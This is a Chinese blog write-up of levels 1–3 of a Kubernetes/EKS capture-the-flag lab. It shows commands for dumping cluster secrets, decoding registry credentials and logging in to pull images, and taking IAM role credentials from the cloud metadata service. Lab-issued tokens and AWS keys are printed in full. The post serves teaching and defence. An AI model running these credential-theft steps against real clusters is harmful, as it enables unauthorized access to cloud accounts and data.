第九节:破晓容器安全-靶场实战(上)

admin 2024年2月3日20:14:50评论16 views字数 20915阅读69分43秒阅读模式
基础到深度
了解容器安全

2024/2/2 19:00,东方隐侠与大家见面于B站,两个小时的交流中,少侠们踊跃发言,得以尽兴。直播回放已归档上传:

暂时无法播放,可回源网站播放

01
前言:容器安全背景
第九节:破晓容器安全-靶场实战(上)

技术背景

随着云计算的普及,企业在上云过程中遇到了诸如传统应用升级滞后、架构复杂性增加及迭代缓慢等问题,催生了云原生概念的诞生。云原生充分利用云计算的弹性、敏捷等特性,优化业务在开发、集成、分发和运行全过程的表现,尤其在“新基建”推动下,其高效稳定和快速响应的特性极大地释放了云计算潜能,成为企业数字化创新的关键驱动力。

CNCF 对云原生的定义强调,云原生技术助力组织在多态云环境中构建和运维可弹性扩展的应用,代表性技术包括容器、服务网格、微服务、不可变基础设施和声明式 API,这些技术共同构建出高容错性、易管理且便于观察的松耦合系统,并通过自动化工具实现频繁、可预测的重大变更。

容器作为云原生应用的核心基础设施,为应用提供了隔离与封装环境,已在生产环境中被超过 60%的用户广泛应用。然而,伴随云原生技术的快速发展,安全问题日益凸显,如特斯拉 Kubernetes 集群遭入侵事件,以及 Docker Hub 中频现漏洞和恶意程序的镜像,引发了用户对于云原生安全性的深切忧虑。

据《中国云原生用户调查报告(2020)》揭示,容器安全已成为用户应用云原生时的最大担忧,63%的用户认为容器安全需求紧迫。实际上,容器安全性直接影响着整个云原生系统的安全水平。相关研究进一步证实,94%的组织在其容器环境中遭遇了安全问题,涉及错误配置、运行时安全事故及严重安全漏洞等诸多方面。

威胁态势

尽管容器和云原生技术日渐成熟,但这类体系本身存在安全防护的短板。2018 年,安全公司 Fortinet 和 Kromtech 揭露了一个严重问题:在 DockerHub 这一主流的 Docker 镜像库中,有 17 个镜像被植入了挖矿木马病毒,这些受感染的镜像竟被下载了 500 万次以上。进一步调查显示,Banyan 指出,DockerHub 上大约 30%的官方镜像存在高危安全漏洞。此外,特斯拉就曾因集群控制台缺乏基本的密码保护措施,在亚马逊云端使用的 Kubernetes 集群遭到黑客入侵。攻击者成功入侵后,从一个 Pod 中找到了 AWS 访问密钥,利用这些关键信息窃取了特斯拉的重要商业数据。

容器安全威胁主要涵盖以下几个层面:基础设施安全、容器和编排平台安全、镜像安全以及运行时安全

第九节:破晓容器安全-靶场实战(上)

另外,在云原生环境下,还有如下挑战:

第九节:破晓容器安全-靶场实战(上)

02
靶场实战
第九节:破晓容器安全-靶场实战(上)

2023 年 11 月初,云安全公司 WIZ 举办了一场名为“EKS Cluster Games”的 CTF 挑战赛,吸引了众多云安全发烧友参与。这次比赛主要围绕容器集群的攻击技术展开,设置了 5 个不同难度的实战场景,极具挑战性和学习价值。

第九节:破晓容器安全-靶场实战(上)

具体来说,比赛模拟了一个真实的环境,假设你已经成功入侵了一个权限较低的 AWS EKS Pod,并需要在这个环境中寻找隐藏的 Flag。挑战被划分为 5 个关卡,每一关都设置在具有不同访问权限的 Kubernetes 命名空间中运行。靶场地址:https://eksclustergames.com/

在这次挑战中,参赛者不仅要运用到 k8s 环境下的攻防技巧,还要灵活掌握和利用 AWS 等云产品的特性进行解题。接下来将对每个关卡逐一解析解答。

关卡1:Secret Seeker

题目描述

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

列出集群中的所有 secrets,开启你的探索之旅。你能发现其中的 flag 吗?

靶场地址:https://eksclustergames.com/challenge/1

题目给出当前具备权限:

第九节:破晓容器安全-靶场实战(上)

解题过程

根据题目描述,我们知道用户现在有权读取(查看)和列出(展示全部)secrets资源。接下来的步骤是,首先使用get命令来全面查找当前存储的所有secrets集合,然后基于具体需求,选择性地查看相关secrets的具体详情信息。

第九节:破晓容器安全-靶场实战(上)

我们能直接从 log-rotate 文件中获取一个 flag,只要经过 Base64 解码,就能得到真实的 Flag。

第九节:破晓容器安全-靶场实战(上)

反思

在 Kubernetes 环境中,Secret 对象被用于集中管理和保护敏感信息,如访问密钥、密码、OAuth 令牌和 SSH 密钥等。通过在 Pod 定义阶段引用 Secret 对象,这些敏感数据能够在运行时安全地供 Pod 内部服务使用。然而,潜在的安全风险在于,具备足够权限的攻击者可能通过利用 Pod 内部的服务账户或其他更高权限用户,非法获取并解析 Secret 内容,从而窃取其他服务的关键通信凭据。

同时,值得注意的是,在 Kubernetes 集群中,Secret 资源具有独特的权限管理特性。不仅获取(get)操作能够揭示 Secret 的实际内容,集合列举(list)与监控(watch)权限同样允许用户获取这些 Secret 数据,这一风险已在官方文档中明确指出。

此外,尽管 Secret 对象的内容经过了 base64 编码处理,但实际上这种级别的加密并不提供实质性的安全防护,因为只需具备相应的权限,任何能通过 kubectl 工具进行查看的用户都可以相对轻易地解码还原出原始的 Secret 信息,这在一定程度上等同于以明文形式存储敏感数据。因此,从严格意义上来讲,Kubernetes 默认的 Secret 机制并不能确保数据的绝对安全。

更多 K8s Secret 的安全内容,可以参考http://liubin.org/blog/2021/04/14/k8s-secrets-secret/

关卡2:Registry Hunt

题目描述

A thing we learned during our research: always check the container registries.

我们在研究过程中了解到:一定要检查容器注册表。

For your convenience, thecrane utility is already pre-installed on the machine.

为方便起见,机器上已经预装了 crane 工具。

靶场地址:https://eksclustergames.com/challenge/2

题目给出当前具备权限:

第九节:破晓容器安全-靶场实战(上)

解题过程

由于当前用户角色不具备访问 secrets 集合的 list 权限,从而无法直接获取 secrets 资源的整体清单。然而,值得注意的是,当前角色已授权了对 pods 资源的操作权限。据此,我们可以采取一种策略上的转变,即充分利用现有对 pods 的访问权限,以此为突破口:

root@wiz-eks-challenge:~# kubectl get pods -o yamlapiVersion: v1items:- apiVersion: v1  kind: Pod  metadata:    annotations:      kubernetes.io/psp: eks.privileged      pulumi.com/autonamed: "true"    creationTimestamp: "2023-11-01T13:32:05Z"    name: database-pod-2c9b3a4e    namespace: challenge2    resourceVersion: "12166896"    uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6  spec:    containers:    - image: eksclustergames/base_ext_image      imagePullPolicy: Always      name: my-container      resources: {}      terminationMessagePath: /dev/termination-log      terminationMessagePolicy: File      volumeMounts:      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount        name: kube-api-access-cq4m2        readOnly: true    dnsPolicy: ClusterFirst    enableServiceLinks: true    imagePullSecrets:    - name: registry-pull-secrets-780bab1d    nodeName: ip-192-168-21-50.us-west-1.compute.internal    preemptionPolicy: PreemptLowerPriority    priority: 0    restartPolicy: Always    schedulerName: default-scheduler    securityContext: {}    serviceAccount: default    serviceAccountName: default    terminationGracePeriodSeconds: 30    tolerations:    - effect: NoExecute      key: node.kubernetes.io/not-ready      operator: Exists      tolerationSeconds: 300    - effect: NoExecute      key: node.kubernetes.io/unreachable      operator: Exists      tolerationSeconds: 300    volumes:    - name: kube-api-access-cq4m2      projected:        defaultMode: 420        sources:        - serviceAccountToken:            expirationSeconds: 3607            path: token        - configMap:            items:            - key: ca.crt              path: ca.crt            name: kube-root-ca.crt        - downwardAPI:            items:            - fieldRef:                apiVersion: v1                fieldPath: metadata.namespace              path: namespace  status:    conditions:    - lastProbeTime: null      lastTransitionTime: "2023-11-01T13:32:05Z"      status: "True"      type: Initialized    - lastProbeTime: null      lastTransitionTime: "2023-12-07T19:54:26Z"      status: "True"      type: Ready    - lastProbeTime: null      lastTransitionTime: "2023-12-07T19:54:26Z"      status: "True"      type: ContainersReady    - lastProbeTime: null      lastTransitionTime: "2023-11-01T13:32:05Z"      status: "True"      type: PodScheduled    containerStatuses:    - containerID: containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0      image: docker.io/eksclustergames/base_ext_image:latest      imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623      lastState:        terminated:          containerID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af          exitCode: 0          finishedAt: "2023-12-07T19:54:25Z"          reason: Completed          startedAt: "2023-11-01T13:32:08Z"      name: my-container      ready: true      restartCount: 1      started: true      state:        running:          startedAt: "2023-12-07T19:54:26Z"    hostIP: 192.168.21.50    phase: Running    podIP: 192.168.12.173    podIPs:    - ip: 192.168.12.173    qosClass: BestEffort    startTime: "2023-11-01T13:32:05Z"kind: Listmetadata:  resourceVersion: ""

题目中又有提示:

Try obtaining the container registry credentials to pull container images and examine them for sensitive secrets.

尝试获取容器注册表凭据来提取容器映像,并检查它们是否存在敏感机密。

根据题目,我们可以尝试获取容器注册表凭据以拉取容器映像并检查其中的敏感机密。同时我们也注意到 pods 的信息中包含 imagePullSecrets。

事实上,容器注册表凭据与 imagePullSecrets 在 Kubernetes 集群中有密切关系。imagePullSecrets 是用于存储和管理容器注册表凭据的一种机制,当集群需要从私有 Docker 镜像仓库拉取容器映像时,这些凭据就显得至关重要。具体来说,在 Kubernetes 中,你可以配置 Pod 的 imagePullSecrets,使得 Pod 在拉取私有仓库中的容器映像时能够使用这些凭据进行身份验证,从而获取所需的容器映像。通过这种方式,imagePullSecrets 确保了集群可以安全且顺利地访问并使用私有容器注册表中的资源。

imagePullSecrets 通常包含一个或多个 Docker Registry 的凭据,包括用户名、密码等信息。这些凭据被加密存储在 Kubernetes 集群中,并在 Pods 启动时自动注入到相应的容器中,以便访问需要身份验证的私有镜像。

 Kubernetes 中,imagePullSecrets用于存储私有容器注册表的认证信息,并允许集群中的 Pod 安全地拉取这些私有镜像。以下是使用imagePullSecrets的基本步骤:1. 创建 Docker Registry Secret:首先,你需要创建一个类型为kubernetes.io/dockerconfigjson或docker-registry(较旧版本)的 Secret 对象,该对象包含访问私有仓库所需的用户名、密码和凭证服务器地址等信息。可以通过以下命令创建一个 Secret,假设你已经有了一个名为.dockerconfigjson的文件,其中包含了符合 Docker 配置文件格式的认证数据:kubectl create secret generic <secret-name>   - -from-file=.dockerconfigjson=<path-to-.dockerconfigjson-file>   - -type=kubernetes.io/dockerconfigjson如果没有.dockerconfigjson文件,也可以直接通过环境变量或者值创建:kubectl create secret docker-registry <secret-name>   - -docker-server=<your-registry-server>   - -docker-username=<your-username>   - -docker-password=<your-password>   - -docker-email=<your-email>2. 将 Secret 关联到 ServiceAccount:可以选择将这个 Secret 关联到默认的 ServiceAccount,或者自定义的 ServiceAccount。例如,要将其添加到默认 ServiceAccount 上apiVersion: v1kind: ServiceAccountmetadata:  name: default  namespace: <target-namespace>imagePullSecrets:- name: <secret-name>然后应用此 YAML 配置(用实际的 secret 名称替换<secret-name>,并指定目标命名空间):kubectl apply -f service-account.yaml3. 在 Deployment、StatefulSet 或其他工作负载中引用 imagePullSecrets:在定义 Pod 或其控制器(如 Deployment)时,可以在.spec.template.spec.imagePullSecrets 字段下引用之前创建的 Secret:apiVersion: apps/v1kind: Deploymentmetadata:  name: my-deploymentspec:  replicas: 3  selector:    matchLabels:      app: my-app  template:    metadata:      labels:        app: my-app    spec:      containers:      - name: my-container        image: private.registry.com/my-image:latest      imagePullSecrets:      - name: <secret-name>这样,在创建 Pod 时,Kubernetes 会自动使用指定的 imagePullSecrets 来从私有注册表中拉取镜像。如果 Secret 已经关联到了 ServiceAccount,则 Pod 会继承 ServiceAccount 的 imagePullSecrets 设置。

言归正传。

要通过 imagePullSecrets 的内容使用 get 权限获取 secrets 信息,首先需要知道 Secret 的名称和它所在的 namespace。在这个场景中,Secret 的名称是“registry-pull-secrets-780bab1d”,namespace 内容为“challenge2”。因此,你可以运行以下命令来获取 Secret 的信息:

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d  --namespace=challenge2 -o json{    "apiVersion": "v1",    "data": {        ".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"    },    "kind": "Secret",    "metadata": {        "annotations": {            "pulumi.com/autonamed": "true"        },        "creationTimestamp": "2023-11-01T13:31:29Z",        "name": "registry-pull-secrets-780bab1d",        "namespace": "challenge2",        "resourceVersion": "897340",        "uid": "1348531e-57ff-42df-b074-d9ecd566e18b"    },    "type": "kubernetes.io/dockerconfigjson"

可以看到出现.dockerconfigjson 信息,.dockerconfigjson 是在 Kubernetes 中用于存储和管理 Docker 注册表认证信息的一种格式。它是一个 JSON 对象,通常包含一个或多个私有容器注册表的凭据,这些凭据包括用户名、密码以及服务器地址等信息。在 Kubernetes 集群中,.dockerconfigjson内容被加密并存储在 Secret 对象中,类型为kubernetes.io/dockerconfigjson。当 Pod 需要从私有 Docker 镜像仓库拉取镜像时,Kubernetes 会使用这个 Secret 中的.dockerconfigjson数据进行身份验证,从而安全地访问并拉取所需的私有镜像。

.dockerconfigjson 的数据格式通常是一个 JSON 对象,该对象包含一个名为auths的键,其值是另一个对象,用于存储不同 Docker Registry 服务器及其对应的认证信息。具体结构如下:

{    "auths": {        "<registry-server>": {            "auth": "<base64-encoded-username:password>",            // 在一些情况下可能还包括其他字段,如email等        },        // 可能有多个注册表服务器及对应认证信息    }}

其中<registry-server>是容器注册表服务器地址(例如index.docker.io),auth字段存储的是对用户名和密码进行 Base64 编码后的字符串,表示 Registry 的认证凭据。

因此,我们可以将得到的.dockerconfigjson 进行 base64 解码:

第九节:破晓容器安全-靶场实战(上)

再对 auth 内容进行 base64 解码:

第九节:破晓容器安全-靶场实战(上)

在当前阶段,我们已经获取了 registry(镜像仓库地址)、username(用户名)和 password(密码),现在系统要求我们对容器注册表进行验证并进行相关操作。为此,我们使用题目中提示的 Crane 容器镜像管理工具。

Crane 是一个专门用来方便快捷地管理和操作容器镜像的工具。在进行任何操作之前,首先需要做的是身份验证,也就是登录过程,就像我们在日常生活中使用各类服务前需要先登录一样。

简单来说,我们要做的就是利用 Crane 这个工具,通过之前获取的 registry 信息、用户名和密码,先登录到 Crane 环境中完成身份验证。这样一来,我们就能遵循标准流程,安全且精细地管理及操控镜像了。

# Log in to reg.example.comcrane auth login reg.example.com -u AzureDiamond -p hunter2

因此我们可以尝试使用获取到的 secret 内容登录 crane:

root@wiz-eks-challenge:~# crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo2024/01/03 15:10:13 logged in via /home/user/.docker/config.json

提示登录成功,然后我们使用 crane config 信息查看镜像信息,直接发现 Flag。从上文可知,image 名称为 eksclustergames/base_ext_image:latest

root@wiz-eks-challenge:~# crane config eksclustergames/base_ext_image:latest{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD ["sh"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD ["/bin/sleep" "3133337"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}

发现了 flag:

wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}

也可以使用 crane 拉取镜像,使用 crane 进行操作:

root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image /tmp/image.tarroot@wiz-eks-challenge:~# cd /tmproot@wiz-eks-challenge:/tmp# tar xvf image.tar sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc918673f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gzmanifest.json

每个 *.tar.gz 文件都是镜像层之一,通过 tar 继续解压查看其中内容 ,发现了flag.txt文件:

root@wiz-eks-challenge:/tmp# tar tvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gzdrwxr-xr-x 0/0               0 2023-11-01 13:32 etc/-rw-r--r-- 0/0             124 2023-11-01 13:32 flag.txtdrwxr-xr-x 0/0               0 2023-11-01 13:32 proc/-rwxr-xr-x 0/0               0 1970-01-01 00:00 proc/.wh..wh..opqdrwxr-xr-x 0/0               0 2023-11-01 13:32 sys/-rwxr-xr-x 0/0               0 1970-01-01 00:00 sys/.wh..wh..opqroot@wiz-eks-challenge:~# cat flag.txt wiz_eks_challenge{xxxxxx}

反思

在大规模业务集群环境中,众多节点依赖于从远程容器注册表中安全地拉取私有镜像以确保 Pod 的稳定运行。为了防范供应链攻击和保障镜像资源的安全性,容器注册表通常会配备严格的认证与授权机制。而在 Kubernetes 中,用于访问这些注册表的凭据常常被妥善存储在 Secret 资源对象中。例如,可以通过如下命令创建一个针对容器注册表的身份验证凭证:

kubectl create secret docker-registry regcred --docker-server=<your-registry-server> --docker-username=<your-name> --docker-password=<your-pword> --docker-email=<your-email>

值得注意的是,在 Kubernetes 1.14 版本之前,Secret 中的存储格式为 dockercfg,而在 1.14 版本及以后更新为更先进的 dockerconfigjson 格式。

以色列云安全企业 Aqua 对此类潜在风险进行了深度研究,特别关注了在公开平台如 GitHub 上暴露的 Kubernetes Secret 中包含的 dockercfg 和 dockerconfigjson 文件。

第九节:破晓容器安全-靶场实战(上)

研究结果显示:总计发现了 438 条涉及容器注册表认证凭据的数据片段,其中约 46%即 203 条凭据仍处于有效状态,并且大多赋予了对镜像的拉取和推送权限。尤其值得关注的是,研究中还揭示了一项涉及 SAP SE 公司项目存储库的有效凭据泄露案例,该凭据允许对超过 9500 万个项目的访问,包括有限的下载与部署操作权限。一旦这些敏感信息落入恶意攻击者之手,将可能导致代码泄露、数据泄露以及供应链攻击等严重后果,极大地威胁到组织的完整性和客户的安全。

第九节:破晓容器安全-靶场实战(上)

对于为何 Kubernetes Secret 文件会在诸如 GitHub 这样的平台上出现,Aqua 提出了几种可能的情形:开发人员在进行版本控制时错误地上传了包含 Secrets 的 Kubernetes YAML 配置文件;或者有意共享模板和示例配置以供团队协作使用;亦或是因管理公共配置不当而意外泄露。

综上所述,应严格规范 Kubernetes Secret 的管理和分发流程,防止因不慎暴露而导致的潜在安全风险。

关卡3:Image Inquisition

题目描述

A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

pod 的镜像不仅仅包含代码。深入其 ECR 镜像仓库,检查镜像构建层,解开隐藏的秘密。

Remember: You are running inside a compromised EKS pod.

请记住:你正在运行的是被入侵的 EKS pod。

For your convenience, thecrane utility is already pre-installed on the machine.

为方便起见,机器上已经预装了 crane 工具。

靶场地址:https://eksclustergames.com/challenge/3

题目给出当前具备权限:

第九节:破晓容器安全-靶场实战(上)

解题过程

目前,我们的访问权限只允许查看和操作 Pod 的部分信息,但不包括 Secrets 资源。也就是说,我们现在不能查看或修改 Secrets 里的数据,只能获取和解析与 Pod 相关的基础信息及状态。

root@wiz-eks-challenge:~# kubectl get pods -o yamlapiVersion: v1items:- apiVersion: v1  kind: Pod  metadata:    annotations:      kubernetes.io/psp: eks.privileged      pulumi.com/autonamed: "true"    creationTimestamp: "2023-11-01T13:32:10Z"    name: accounting-pod-876647f8    namespace: challenge3    resourceVersion: "12166911"    uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2  spec:    containers:    - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01      imagePullPolicy: IfNotPresent      name: accounting-container      resources: {}      terminationMessagePath: /dev/termination-log      terminationMessagePolicy: File      volumeMounts:      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount        name: kube-api-access-mmvjj        readOnly: true    dnsPolicy: ClusterFirst    enableServiceLinks: true    nodeName: ip-192-168-21-50.us-west-1.compute.internal    preemptionPolicy: PreemptLowerPriority    priority: 0    restartPolicy: Always    schedulerName: default-scheduler    securityContext: {}    serviceAccount: default    serviceAccountName: default    terminationGracePeriodSeconds: 30    tolerations:    - effect: NoExecute      key: node.kubernetes.io/not-ready      operator: Exists      tolerationSeconds: 300    - effect: NoExecute      key: node.kubernetes.io/unreachable      operator: Exists      tolerationSeconds: 300    volumes:    - name: kube-api-access-mmvjj      projected:        defaultMode: 420        sources:        - serviceAccountToken:            expirationSeconds: 3607            path: token        - configMap:            items:            - key: ca.crt              path: ca.crt            name: kube-root-ca.crt        - downwardAPI:            items:            - fieldRef:                apiVersion: v1                fieldPath: metadata.namespace              path: namespace  status:    conditions:    - lastProbeTime: null      lastTransitionTime: "2023-11-01T13:32:10Z"      status: "True"      type: Initialized    - lastProbeTime: null      lastTransitionTime: "2023-12-07T19:54:29Z"      status: "True"      type: Ready    - lastProbeTime: null      lastTransitionTime: "2023-12-07T19:54:29Z"      status: "True"      type: ContainersReady    - lastProbeTime: null      lastTransitionTime: "2023-11-01T13:32:10Z"      status: "True"      type: PodScheduled    containerStatuses:    - containerID: containerd://665178aaf28ddd6d73bf88958605be9851e03eed9c1e61f1a1176a69719191f2      image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3      imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01      lastState:        terminated:          containerID: containerd://c465d5104e6f4cac49da0b7495eb2f7c251770f8bf3ce4a1096cf5c704b9ebbe          exitCode: 0          finishedAt: "2023-12-07T19:54:28Z"          reason: Completed          startedAt: "2023-11-01T13:32:11Z"      name: accounting-container      ready: true      restartCount: 1      started: true      state:        running:          startedAt: "2023-12-07T19:54:29Z"    hostIP: 192.168.21.50    phase: Running    podIP: 192.168.5.251    podIPs:    - ip: 192.168.5.251    qosClass: BestEffort    startTime: "2023-11-01T13:32:10Z"kind: Listmetadata:  resourceVersion: ""

题目中内含对 ECR 存储库的引用,通过深入探究 image 元数据,揭示其具体标识为 image: 688655246681.dkr.ecr.us-west-1.amazonaws.com。鉴于 Amazon Elastic Container Registry (ECR)是亚马逊 AWS 提供的一项高级容器镜像托管服务,它专门用于安全地存储、高效管理和无缝部署 Docker 容器镜像,因此,本题旨在聚焦于对 Amazon ECR 的深度理解和应用。

使用 crane 读取指定 imageID 的 image 信息,发现没有权限:

第九节:破晓容器安全-靶场实战(上)

在处理 401 错误时,我们发现是由于在 EKS(Amazon Elastic Container Service for Kubernetes)的 pod 中访问 AWS 云服务 ECR 资源时权限不足导致的。为了解决这个问题,我们需要确保 pod 能够安全合法地获取 AWS 认证凭证来访问相关服务。

方案一:首先,我们需要仔细检查 EKS 集群环境,包括查找容器内的配置文件和环境变量等可能存储了 AWS 访问凭据的地方。正确的做法是将 AWS 访问凭据安全地存入 Kubernetes Secret 或直接注入到 pod 容器内,这样才能保证与 AWS 服务的身份验证和授权过程顺利进行。

方案二:另一种方法是利用 AWS EC2 实例元数据服务。在 EKS pod 运行的应用程序可以通过这项服务动态获取临时的 IAM 角色凭证(STS AssumeRole)。这种方法能够在遵循最小权限原则的基础上,既安全又方便地跨服务访问 AWS 云资源,同时避免了长期密钥管理带来的风险。

尝试使用第一种方法,并未在环境变量以及文件系统中检测到云凭据:

第九节:破晓容器安全-靶场实战(上)

继续尝试方法二访问 AWS 元数据服务,参考 https://docs.amazonaws.cn/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html在 EC2 实例中有一个魔法 IP 169.254.169.254,通过访问这个 ip,能获得许多与这个实例相关的信息,这些信息被称为 meta-data。我们在 EC2 的实例上发送:curlhttp://169.254.169.254/latest/meta-data/就可以看到相关的 meta-data,发现成功返回一些信息:

root@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data

第九节:破晓容器安全-靶场实战(上)

IAM 接口就这么耀眼地出现在眼前,我们可以利用其获取 IAM 实例凭证:

root@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data/iam/infosecurity-credentialsroot@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data/iam/security-credentialseks-challenge-cluster-nodegroup-NodeInstanceRoleroot@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole{"AccessKeyId":"ASIA2AVYNEVMZNS5CT7R","Expiration":"2024-01-31 04:41:57+00:00","SecretAccessKey":"th7Mbd3I7ofXpUh0IxXWjP/WryBB0qn/3/sDDnl+","SessionToken":"FwoGZXIvYXdzEG0aDHwhmAbCPbXbqKXrViK3AR+i4oLjrOQHitKFeXRHHxCM0lf80pJq7pPb0QoMJ2vTf0Uh8Sn/ngIk9FwGV3MZJgO1U00PIjmmeeHxxtTGACmBX8wpDlQOjiaJdEe+IZxqpSvy7pIrCAuUErQHccmeEP1XeoC5LAeqejF7YUp7fPfws7fw4JxoP+wzNsgycwkXw3oaZvhEuhRyivbgWnaPOIlMKXQuJ0a0u9ButWG2Gf/ilQHgbYclpakUXfi2qucVHSUml+qBtiiFg+etBjItyotk7llpfFk9257ZKPU3if4tayiayS6sOZIrdLIKZn6rlxB5VnJHDTuH0hP8"}

发现存在 AK/SK,结合 ECR 的介绍文档 https://docs.aws.amazon.com/cli/latest/reference/ecr/get-login-password.html,需要使用 aws-cli 进行登录,且当前环境里已安装 aws-cli 环境,直接利用 aws-cli 命令登录 ECR。具体登录指令参考:https://docs.aws.amazon.com/sdk-for-php/v3/developer-guide/guide_credentials_environment.html

root@wiz-eks-challenge:~# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4FJQYHVFroot@wiz-eks-challenge:~# export AWS_SECRET_ACCESS_KEY=XZNb7THFsUKqsVvMnHKJCjhNdzpjUWgBpRJlmQ6Lroot@wiz-eks-challenge:~# export AWS_SESSION_TOKEN=FwoGZXIvYXdzENn//////////wEaDHhNqhl7iojKeRX15yK3AUIhABAQPIBcw0/LxMSuwKF2bCmAxVpYINpLdVCGgrlxfVyNPPvahauomzni05Qvq4NIgaHFuJcdXd/LMs5ENl/A4aGT12rJzsWa3blzUwG1o2B2+f+C1oKmqBEhyQinSyCOkXTk7RT6u7BPU+BIDLKyZ7NPTBuq3Gx2IuDyUmRIFzLfNTByzBjMqziYvxZ/hO0Xe7XOW9TqcyEtabN0ZsZa5D6G8/LiCYWvfEAMusAp3/9XIdlN8CjcgdasBjItIb9UYsMabsCTmbohReYclZoOeWfWWx9e9gCnOBMoFwALdbuCI8a/tEO4wrpG
第九节:破晓容器安全-靶场实战(上)

此时再去读信息:

root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq{  "architecture": "amd64",  "config": {    "Env": [      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"    ],    "Cmd": [      "/bin/sleep",      "3133337"    ],    "ArgsEscaped": true,    "OnBuild": null  },  "created": "2023-11-01T13:32:07.782534085Z",  "history": [    {      "created": "2023-07-18T23:19:33.538571854Z",      "created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "    },    {      "created": "2023-07-18T23:19:33.655005962Z",      "created_by": "/bin/sh -c #(nop)  CMD ["sh"]",      "empty_layer": true    },    {      "created": "2023-11-01T13:32:07.782534085Z",      "created_by": "RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",      "comment": "buildkit.dockerfile.v0"    },    {      "created": "2023-11-01T13:32:07.782534085Z",      "created_by": "CMD ["/bin/sleep" "3133337"]",      "comment": "buildkit.dockerfile.v0",      "empty_layer": true    }  ],  "os": "linux",  "rootfs": {    "type": "layers",    "diff_ids": [      "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",      "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"    ]  }}

发现 flag:

wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}

反思

在 Docker 等容器技术中,镜像层构建和管理是个关键环节。想象一下,Docker 镜像是由许多只读的“积木层”堆叠起来的,每层都包含一部分文件系统内容及其相关的数据信息。这种像搭积木一样的层级设计,让创建、分享和更新镜像变得更加高效和灵活。

但同时,这也带来了安全隐患。就像代码仓库的历史记录可能泄露秘密一样,在制作镜像的过程中,如果不小心将敏感信息放进了某一层,就有可能造成严重的安全问题——信息泄露。因此,在公共云环境中,对这些镜像层进行严格的安全检查与管理,就好比一场实战防御战,同样,在进行深入的安全测试时,这也是一个必须遵守的基本步骤。

通过docker histoty命令可以镜像构建过程中的信息,如图所示:

